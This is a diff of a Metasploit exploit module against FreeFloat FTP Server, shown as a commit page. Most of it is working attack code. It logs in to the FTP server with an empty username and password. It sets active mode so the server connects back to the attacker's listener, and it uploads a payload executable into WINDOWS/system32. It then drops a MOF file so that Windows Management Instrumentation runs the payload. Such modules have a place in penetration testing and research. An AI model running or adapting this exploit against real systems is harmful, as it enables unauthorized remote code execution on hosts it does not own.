@@ -11,20 +11,24 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
Rank = ExcellentRanking
12
12
13
13
include Msf ::Exploit ::Remote ::Ftp
14
- include Msf ::Exploit ::WbemExec
14
+ include Msf ::Exploit ::Remote :: TcpServer
15
15
include Msf ::Exploit ::EXE
16
+ include Msf ::Exploit ::WbemExec
17
+ include Msf ::Exploit ::FileDropper
16
18
17
19
def initialize ( info = { } )
18
20
super ( update_info ( info ,
19
21
'Name' => "FreeFloat FTP Server Arbitrary File Upload" ,
20
22
'Description' => %q{
21
- Scre buffer overflows. FreeFloat allows remote user to upload anywhere on the file system. Win!
23
+ This module abuses a lack of authentication and authorization on FreeFloat FTP
24
+ Server to upload arbitrary files to the remote filesystem. This module uses the
25
+ Windows Management Instrumentation service to execute the payload uploaded.
22
26
} ,
23
27
'License' => MSF_LICENSE ,
24
28
'Author' =>
25
29
[
26
- 'juan vazquez' ,
27
- 'sinn3r'
30
+ 'sinn3r' , # Vulnerability discovery, Metasploit module
31
+ 'juan vazquez' # Metasploit module
28
32
] ,
29
33
'References' =>
30
34
[
@@ -35,11 +39,20 @@ def initialize(info={})
35
39
[
36
40
[ 'FreeFloat' , { } ] ,
37
41
] ,
38
- 'Privileged' => false ,
39
- 'DisclosureDate' => "Apr 1 2012" ,
42
+ 'Privileged' => true ,
43
+ 'DisclosureDate' => "Dec 7 2012" ,
40
44
'DefaultTarget' => 0 ) )
45
+
46
+ register_options (
47
+ [
48
+ # Change the default description so this option makes sense
49
+ OptPort . new ( 'SRVPORT' , [ true , 'The local port to listen on for active mode' , 8080 ] )
50
+ ] , self . class )
51
+
52
+ deregister_options ( 'FTPUSER' , 'FTPPASS' ) # Using empty user and password
41
53
end
42
54
55
+
43
56
def check
44
57
connect
45
58
disconnect
@@ -52,23 +65,93 @@ def check
52
65
end
53
66
end
54
67
55
- def peer
56
- "#{ rhost } :#{ rport } "
68
+
69
+ def on_client_connect ( cli )
70
+ peer = "#{ cli . peerhost } :#{ cli . peerport } "
71
+
72
+ case @stage
73
+ when :exe
74
+ print_status ( "#{ peer } - Sending executable (#{ @exe . length . to_s } bytes)" )
75
+ cli . put ( @exe )
76
+ @stage = :mof
77
+
78
+ when :mof
79
+ print_status ( "#{ peer } - Sending MOF (#{ @mof . length . to_s } bytes)" )
80
+ cli . put ( @mof )
81
+ end
82
+
83
+ cli . close
57
84
end
58
85
59
- def exploit
60
- print_status ( "#{ peer } - Generating payload..." )
61
- exe_name = Rex ::Text ::rand_text_alpha ( 5 ) + ".exe"
62
- exe = generate_payload_exe
63
- mof_name = Rex ::Text ::rand_text_alpha ( 5 ) + ".mof"
64
- mof = generate_mof ( mof_name , exe_name )
65
86
66
- connect
87
+ def upload ( filename )
88
+ select ( nil , nil , nil , 1 )
67
89
68
- print_status ( "#{ peer } - Uploading '{exe_name}'" )
90
+ peer = "#{ rhost } :#{ rport } "
91
+ print_status ( "#{ peer } - Trying to upload #{ ::File . basename ( filename ) } " )
69
92
70
- print_status ( " #{ peer } - Uploading ' #{ mof_name } '" )
93
+ conn = connect ( false , datastore [ 'VERBOSE' ] )
71
94
72
- disconnect
95
+ print_status ( "#{ peer } - Sending empty login..." )
96
+
97
+ res = send_user ( "" , conn )
98
+ if not res or res !~ /331/
99
+ print_error ( "#{ peer } - Error sending username" )
100
+ return false
101
+ end
102
+
103
+ res = send_pass ( "" , conn )
104
+ if not res or res !~ /230/
105
+ print_error ( "#{ peer } - Error sending password" )
106
+ return false
107
+ end
108
+
109
+ print_good ( "#{ peer } - Empty authentication was successful" )
110
+
111
+ # Switch to binary mode
112
+ print_status ( "#{ peer } - Set binary mode" )
113
+ send_cmd ( [ 'TYPE' , 'I' ] , true , conn )
114
+
115
+ # Prepare active mode: Get attacker's IP and source port
116
+ src_ip = datastore [ 'SRVHOST' ] == '0.0.0.0' ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
117
+ src_port = datastore [ 'SRVPORT' ] . to_i
118
+
119
+ # Prepare active mode: Convert the IP and port for active mode
120
+ src_ip = src_ip . gsub ( /\. / , ',' )
121
+ src_port = "#{ src_port /256 } ,#{ src_port . remainder ( 256 ) } "
122
+
123
+ # Set to active mode
124
+ print_status ( "#{ peer } - Set active mode \" #{ src_ip } ,#{ src_port } \" " )
125
+ send_cmd ( [ 'PORT' , "#{ src_ip } ,#{ src_port } " ] , true , conn )
126
+
127
+ # Tell the FTP server to download our file
128
+ send_cmd ( [ 'STOR' , filename ] , false , conn )
129
+
130
+ disconnect ( conn )
73
131
end
74
- end
132
+
133
+
134
+ def exploit
135
+
136
+ exe_name = "WINDOWS/system32/#{ rand_text_alpha ( rand ( 10 ) +5 ) } .exe"
137
+ mof_name = "WINDOWS/system32/wbem/mof/#{ rand_text_alpha ( rand ( 10 ) +5 ) } .mof"
138
+ @mof = generate_mof ( ::File . basename ( mof_name ) , ::File . basename ( exe_name ) )
139
+ @exe = generate_payload_exe
140
+ @stage = :exe
141
+
142
+ begin
143
+ t = framework . threads . spawn ( "reqs" , false ) {
144
+ # Upload our malicious executable
145
+ u = upload ( exe_name )
146
+ # Upload the mof file
147
+ upload ( mof_name ) if u
148
+ register_file_for_cleanup ( "#{ ::File . basename ( exe_name ) } " )
149
+ register_file_for_cleanup ( "wbem\\ mof\\ good\\ #{ ::File . basename ( mof_name ) } " )
150
+ }
151
+ super
152
+ ensure
153
+ t . kill
154
+ end
155
+ end
156
+
157
+ end
0 commit comments